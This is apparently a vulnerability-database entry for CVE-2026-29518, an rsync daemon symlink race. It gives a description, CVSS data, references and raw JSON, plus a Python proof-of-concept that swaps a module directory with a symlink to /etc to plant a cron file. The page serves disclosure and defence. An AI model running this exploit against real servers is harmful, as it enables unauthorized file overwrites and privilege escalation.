Security Vulnerability Report
中文
CVE-2026-29518 CVSS 7.0 HIGH

CVE-2026-29518

Published: 2026-05-20 13:16:17
Last Modified: 2026-05-20 13:58:08

Description

Rsync versions before 3.4.3 contain a time-of-check to time-of-use (TOCTOU) race condition in daemon file handling that allows attackers to redirect file writes outside intended directories by replacing parent directory components with symbolic links. Attackers with write access to a module path can exploit this race condition to create or overwrite arbitrary files, potentially modifying sensitive system files and achieving privilege escalation when the daemon runs with elevated privileges. This vulnerability can only be triggered if the chroot setting is false.

CVSS Details

CVSS Score
7.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Rsync < 3.4.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os import time import threading # Target file to overwrite (e.g., root's crontab) TARGET_FILE = "/etc/cron.d/root_poc" # Shared module path where we have write access MODULE_PATH = "/srv/rsync/share" # Directory name inside module to be swapped DIR_NAME = "subdir" def setup(): """Create the initial directory structure.""" if not os.path.exists(MODULE_PATH): os.makedirs(MODULE_PATH) os.makedirs(os.path.join(MODULE_PATH, DIR_NAME)) def race_condition(): """ Simulate the TOCTOU race condition. Continuously swap the directory with a symlink to trick rsync. """ real_dir = os.path.join(MODULE_PATH, DIR_NAME) symlink_target = "/etc" # Redirect writes to /etc while True: try: # Step 1: Replace real directory with symlink to /etc if os.path.exists(real_dir) and not os.path.islink(real_dir): os.rmdir(real_dir) os.symlink(symlink_target, real_dir) # Hold the symlink state briefly to catch the check time.sleep(0.005) # Step 2: Revert to real directory to avoid detection/failure if os.path.islink(real_dir): os.unlink(real_dir) os.makedirs(real_dir) time.sleep(0.005) except Exception as e: # Ignore errors due to race state continue if __name__ == "__main__": setup() # Start the race condition thread t = threading.Thread(target=race_condition) t.daemon = True t.start() print("[+] Race condition started. Trigger rsync upload now...") print("[+] Attempting to write to", os.path.join(MODULE_PATH, DIR_NAME, "payload_file")) # Keep script running while True: time.sleep(1)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-29518", "sourceIdentifier": "[email protected]", "published": "2026-05-20T13:16:17.040", "lastModified": "2026-05-20T13:58:07.923", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Rsync versions before 3.4.3 contain a time-of-check to time-of-use (TOCTOU) race condition in daemon file handling that allows attackers to redirect file writes outside intended directories by replacing parent directory components with symbolic links. Attackers with write access to a module path can exploit this race condition to create or overwrite arbitrary files, potentially modifying sensitive system files and achieving privilege escalation when the daemon runs with elevated privileges. This vulnerability can only be triggered if the chroot setting is false."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-367"}]}], "references": [{"url": "https://github.com/RsyncProject/rsync/pull/895/changes/8471fdd1561049ef5f58df44a1811a50bd9a531d", "source": "[email protected]"}, {"url": "https://github.com/RsyncProject/rsync/releases/tag/v3.4.3", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/rsync-toctou-race-condition-allows-symlink-based-arbitrary-file-write", "source": "[email protected]"}]}}